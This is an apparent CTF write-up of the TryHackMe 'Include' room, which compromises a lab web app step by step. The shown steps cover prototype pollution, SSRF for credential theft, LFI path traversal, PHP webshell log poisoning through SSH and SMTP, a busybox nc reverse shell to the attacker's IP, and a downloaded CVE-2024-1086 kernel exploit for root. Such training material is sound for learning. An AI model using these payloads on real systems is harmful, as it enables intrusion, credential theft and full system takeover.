💻
TryHackMe Writeups
  • Dodge
  • Reset
  • Hack Smarter Security
  • Creative
  • CyberLens
  • Include
  • Airplane
  • mKingdom
  • Publisher
  • The London Bridge
  • Pyrat
  • Cheese CTF
Powered by GitBook
On this page

Include

Use your server exploitation skills to take control of a web app.

PreviousCyberLensNextAirplane

Last updated 11 months ago

This work by Manav G Krishna is licensed under

Machine IP: 10.10.147.179

Hosts file entry: echo '10.10.147.179 include.thm' | sudo tee -a /etc/hosts

Nmap Scan:

nmap -p- -A -v --min-rate 100 -oN include_thm -Pn include.thm

Nmap scan report for include.thm (10.10.147.179)
Host is up (0.16s latency).
Not shown: 65527 closed tcp ports (reset)
PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a6:d8:1b:5d:41:12:20:65:ef:2d:64:7f:c9:54:02:a5 (RSA)
|   256 35:42:b2:ff:b5:e2:83:40:eb:14:d1:1b:9b:8e:ee:90 (ECDSA)
|_  256 76:75:5c:a8:63:b4:2b:d7:59:51:36:8a:2b:f9:59:23 (ED25519)
25/tcp    open  smtp     Postfix smtpd
|_smtp-commands: mail.filepath.lab, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Issuer: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-11-10T16:53:34
| Not valid after:  2031-11-08T16:53:34
| MD5:   05c8:4559:9811:a54f:9c53:b3ee:f6ad:f0fd
|_SHA-1: a24d:7a7f:9ac1:8045:5c5f:5b7c:721a:4e21:0599:ed7c
|_ssl-date: TLS randomness does not represent time
110/tcp   open  pop3     Dovecot pop3d
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Issuer: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-11-10T16:53:34
| Not valid after:  2031-11-08T16:53:34
| MD5:   05c8:4559:9811:a54f:9c53:b3ee:f6ad:f0fd
|_SHA-1: a24d:7a7f:9ac1:8045:5c5f:5b7c:721a:4e21:0599:ed7c
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: SASL UIDL STLS AUTH-RESP-CODE PIPELINING CAPA TOP RESP-CODES
143/tcp   open  imap     Dovecot imapd (Ubuntu)
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Issuer: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-11-10T16:53:34
| Not valid after:  2031-11-08T16:53:34
| MD5:   05c8:4559:9811:a54f:9c53:b3ee:f6ad:f0fd
|_SHA-1: a24d:7a7f:9ac1:8045:5c5f:5b7c:721a:4e21:0599:ed7c
|_ssl-date: TLS randomness does not represent time
|_imap-capabilities: more LOGINDISABLEDA0001 have SASL-IR Pre-login IDLE LITERAL+ listed post-login STARTTLS OK capabilities LOGIN-REFERRALS ID IMAP4rev1 ENABLE
993/tcp   open  ssl/imap Dovecot imapd (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Issuer: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-11-10T16:53:34
| Not valid after:  2031-11-08T16:53:34
| MD5:   05c8:4559:9811:a54f:9c53:b3ee:f6ad:f0fd
|_SHA-1: a24d:7a7f:9ac1:8045:5c5f:5b7c:721a:4e21:0599:ed7c
|_imap-capabilities: more have AUTH=LOGINA0001 SASL-IR Pre-login IMAP4rev1 LITERAL+ listed post-login OK IDLE capabilities LOGIN-REFERRALS ID AUTH=PLAIN ENABLE
995/tcp   open  ssl/pop3 Dovecot pop3d
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Issuer: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-11-10T16:53:34
| Not valid after:  2031-11-08T16:53:34
| MD5:   05c8:4559:9811:a54f:9c53:b3ee:f6ad:f0fd
|_SHA-1: a24d:7a7f:9ac1:8045:5c5f:5b7c:721a:4e21:0599:ed7c
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: SASL(PLAIN LOGIN) UIDL PIPELINING AUTH-RESP-CODE USER CAPA TOP RESP-CODES
4000/tcp  open  http     Node.js (Express middleware)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Sign In
50000/tcp open  http     Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: System Monitoring Portal
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=6/3%OT=22%CT=1%CU=44147%PV=Y%DS=2%DC=T%G=Y%TM=665E0
OS:60C%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)S
OS:EQ(SP=102%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=103%GCD=1%ISR=10A%TI=
OS:Z%CI=Z%II=I%TS=A)SEQ(SP=103%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=104
OS:%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M508ST11NW7%O2=M508ST11NW7%O3=
OS:M508NNT11NW7%O4=M508ST11NW7%O5=M508ST11NW7%O6=M508ST11)WIN(W1=F4B3%W2=F4
OS:B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M508NNSNW7
OS:%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=
OS:Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%
OS:RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0
OS:%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIP
OS:CK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 13.190 days (since Tue May 21 19:02:26 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host:  mail.filepath.lab; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 199/tcp)
HOP RTT       ADDRESS
1   157.19 ms 10.11.0.1
2   157.40 ms include.thm (10.10.147.179)

From the scan we can see that port 4000 and 50000 have web services running on them and also there is a host named mail.filepath.lab.

Checking out port 4000:

We can now do some directory busting:

Command:

dirsearch -u http://include.thm:4000/

The /signin path is the same as the root of the website.

Now let us check out 50000.

Checking out port 50000:

We have a Login page too:

We can go ahead and directory bust this site:

Command:

dirsearch -u http://include.thm:50000/

At the moment we are on the /login.php, we also have a /dashboard.php & a /profile.php that we would be able to access once we manage to login to the SysMon portal. There is a /uploads & a /templates path too.

The /uploads path:

The /templates path:

There is nothing interesting in these paths.

We can now go back to exploring port 4000:

We can check out our profile by clicking on View Profile.

We have an entry that says: isAdmin: false and also we have an option to recommend an activity:

Now we can try to set the isAdmin to true by recomending it is an activity:

Upon clicking on Recommend Activity we notice these changes:

The isAdmin value is now set to true, which means we have made ourselves an admin. Doing so also gave us two new options on the website that wasn't there before by default, that is API & Settings.

What we did here is Prototype Pollution. Prototype Pollution is a critical vulnerability that can allow attackers to manipulate an application's JavaScript objects and properties, leading to serious security issues such as unauthorized access to data, privilege escalation, and even remote code execution.

In this case from the Nmap Scan we know that the server running on port 4000, is Node.js. So the server-side code running on the application is obviously JavaScript. If user inputs are directly merged into objects without sanitization, it leads to modification of prototypes and this is what we did above.

Checking out the API option:

We are presented with an API Dashboard and it says a GET request to this endpoint: http://127.0.0.1:5000/getAllAdmins101099991 will give us a response like this:

{
    "ReviewAppUsername": "admin",
    "ReviewAppPassword": "xxxxxx",
    "SysMonAppUsername": "administrator",
    "SysMonAppPassword": "xxxxxxxxx",
}

We get the SysMon portal password and it says the username is administrator. Once we get the password we would be able to login to the portal on port 50000:

But the request has to be sent to the machine's localhost on port 5000.

Let us now check out the Settings option:

It lets us update the banner image.

We can now try putting this as the URL: http://127.0.0.1:5000/getAllAdmins101099991 to see what we are presented with post clicking on Update Banner Image:

It gave us this base64 encoded string:

eyJSZXZpZXdBcHBVc2VybmFtZSI6ImFkbWluIiwiUmV2aWV3QXBwUGFzc3dvcmQiOiJhZG1pbkAhISEiLCJTeXNNb25BcHBVc2VybmFtZSI6ImFkbWluaXN0cmF0b3IiLCJTeXNNb25BcHBQYXNzd29yZCI6IlMkOSRxazZkIyoqTFFVIn0=

Decoding it:

Command:

echo -n eyJSZXZpZXdBcHBVc2VybmFtZSI6ImFkbWluIiwiUmV2aWV3QXBwUGFzc3dvcmQiOiJhZG1pbkAhISEiLCJTeXNNb25BcHBVc2VybmFtZSI6ImFkbWluaXN0cmF0b3IiLCJTeXNNb25BcHBQYXNzd29yZCI6IlMkOSRxazZkIyoqTFFVIn0= | base64 -d

We have now got the SysMonAppPassword.

What we just did is nothing but SSRF. Server-Side Request Forgery (SSRF) is a vulnerability where an attacker can make a server-side application send requests to an unintended location. This can lead to fetching the internal resources which is typically inaccessible from outside the server’s internal network, potentially exposing sensitive information.

In this case we were able to reach out to those API endpoints via an external input.

Logging in to the portal on port 50000:

The first flag can be found here. We are on the /dashboard.php endpoint now.

From the initial directory busting that we did for the 50000 port, we also had a /profile.php endpoint. Let us start by checking out the source code of the dashboard page:

The /profile.php endpoint is being referred to in the source code.

We can now check it out:

The URL:

http://include.thm:50000/profile.php?img=profile.png

There is a parameter named img. By looking at this the first thing that comes to our mind is LFI (Local File Inclusion).

We can try to automate the process of exploiting the vulnerability by using wfuzz.

The wordlist that we will be using:

This is a really common and famous wordlist that gives us valid hits in most of the cases.

Using wfuzz to find LFI:

Command:

wfuzz -c -z file,/usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -b "PHPSESSID=l5s8qnq3s84p0i4h2f1lcg5glj" http://include.thm:50000/profile.php\?img\=FUZZ

Switches explanation:

-c: Output with colors
-z file: Wordlist
-b: Cookie

Since the site we are fuzzing is behind a login, using the cookie in the wfuzz command plays a crucial role as this is how the server knows that the requests coming from the tool are authenticated.

To fetch the cookie we can Inspect the page and under Storage is where we find it:

The tool injects payloads at the position where the FUZZ keyword is placed.

And we have got successful hits, a few of them are:

The moment we see different values in the Lines, Words & the Chars columns, that is how we know the payload is valid.

One out of the bunch of valid payloads:

....//....//....//....//....//....//....//....//....//etc/passwd

Let us give this a try:

The URL:

http://include.thm:50000/profile.php?img=....//....//....//....//....//....//....//....//....//etc/passwd

It worked!!

Now since we have LFI, this can be converted to an RCE (Remote Code Execution)

LFI to RCE:

Method 1: LFI to RCE via Log Poisoning

A blog that we can check out:

Common log files in Linux:

The /var/log/auth.log log file is used by various authentication services, including SSH.

Logs related to SSH activities, such as session starts, stops, authentication attempts etc., will be logged.

We can now traverse to the log file:

The payload:

....//....//....//....//....//....//....//....//....//var/log/auth.log

The URL:

http://include.thm:50000/profile.php?img=....//....//....//....//....//....//....//....//....//var/log/auth.log

Now we can try to make fake attempts to login via SSH and this should be getting logged in the auth.log file:

It is indeed getting logged as expected.

Now, we can try to insert a PHP payload as the user in the SSH command. This too, should get logged just like the fake SSH logins we did earlier with the user test.

The payload:

<?php echo shell_exec($_GET['cmd']); ?>

Command:

ssh '<?php echo shell_exec($_GET['cmd']); ?>'@include.thm

Unfortunately this doesn't work as this has been patched in the latest versions of SSH. We get the error: remote username contains invalid characters.

Note:

I had come across a question asked in Stack Overflow based on the above error and an answer mentioned that we could use Hydra to perform the poisoning successfully.

Using Hydra to achieve RCE via the SSH protocol:

The logic here too remains the same as above, we can insert a PHP payload as the value for the -l switch of Hydra which is nothing but the login username and since we are are using it against the SSH service, that too will get logged in the auth.log file and this would lead to RCE.

Command:

hydra -l '<?php echo shell_exec($_GET['cmd']); ?>' -p test include.thm ssh -V

Now let us check out the log file:

It has been logged.

Now we should have RCE, running ifconfig:

The URL:

http://include.thm:50000/profile.php?img=....//....//....//....//....//....//....//....//....//var/log/auth.log&cmd=ifconfig

It worked!!

Method 2: LFI to RCE via MAIL (SMTP):

Common log files in Linux:

Since we have SMTP open, we can send a mail to test if it is getting logged. It should be getting logged as all email related activities are logged in the /var/log/mail.log file.

The payload:

....//....//....//....//....//....//....//....//....//var/log/mail.log

The URL:

http://include.thm:50000/profile.php?img=....//....//....//....//....//....//....//....//....//var/log/mail.log

Manual Exploitation:

We can send a test email by connecting to port 25 (SMTP):

And indeed it is getting logged as expected:

Now we can put a PHP payload in mail from/rcpt to and this would get logged too, which would lead to RCE:

We get this error: 501 5.1.7 Bad sender address syntax.

But let us check if it got logged:

And it did get logged.

Using ifconfig to check if RCE works:

The URL:

http://include.thm:50000/profile.php?img=....//....//....//....//....//....//....//....//....//var/log/mail.log&cmd=ifconfig

It did work and we have got the output of the ifconfig command. Now we can run ls -la and we will be able to see the second flag and the same can be cat ed out via the webshell itself.

Use - cat 505eb0fb8a9f32853b4d955e1f9123ea.txt:

Using swaks tool to send the mail to achieve RCE:

Note:

I will be showing this post terminating the machine. This way we are making sure we start on a fresh machine and by doing so the webshell that we got from manual exploitation, won't even be in the picture. Make sure to update the hosts file entry with the new IP.

We now have nothing logged in the /var/log/mail.log:

Now we can use swaks:

Command:

swaks --to '<?php echo shell_exec($_GET['cmd']); ?>'@test.com --from test@test.com --server include.thm --body "test"

Checking the log file:

It has got logged.

Now onto the RCE yet again:

We have got the output of ifconfig.

We can also use this PHP payload to get RCE via SMTP:

The payload:

<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>

Using a reverse shell in the webshell:

Command:

busybox nc 10.11.89.39 443 -e sh  //The IP here is the tun0 interface IP

Setting up a listener on port 443:

The URL:

http://include.thm:50000/profile.php?img=....//....//....//....//....//....//....//....//....//var/log/mail.log&cmd=busybox nc 10.11.89.39 443 -e sh

We indeed get the connection.

Now we can upgrade the shell a little by running this:

Command:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Privilege Escalation via CVE-2024-1086 (Optional):

The kernel on the machine is 5.15.0-1055-aws.

Command:

uname -r

The machine is most likely vulnerable.

Downloading the exploit from the Releases section in GitHub:

Sending it to the target machine post setting up a python server:

Command:

wget http://10.11.89.39:4545/exploit  //The IP here is the tun0 interface IP

Setting it as an executable and running it:

We are root.

Room solved!!

CC BY-NC 4.0
TryHackMe | Cyber Security TrainingTryHackMe
Room Link
SecLists/LFI-Jhaddix.txt at master · danielmiessler/SecListsGitHub
10 ways to get RCE From LFIMedium
Top 5 Linux log file groups in/var/log | NetsurionNetsurion
Top 5 Linux log file groups in/var/log | NetsurionNetsurion
Logo
Remote code execution | Hacker's Grimoire
How to Perform SSH Log Poisoning for RCE with LFI Using PHP System Call in Username (terminal)Stack Overflow
Logo
GitHub - Notselwyn/CVE-2024-1086: Universal local privilege escalation Proof-of-Concept exploit for CVE-2024-1086, working on most Linux kernels between v5.14 and v6.6, including Debian, Ubuntu, and KernelCTF. The success rate is 99.4% in KernelCTF images.GitHub
CVE-2024-1086
TryHackMe | gravereaper2038TryHackMe
Profile Link
Logo
Logo
Logo
Logo
Page cover image
Logo
Logo
Logo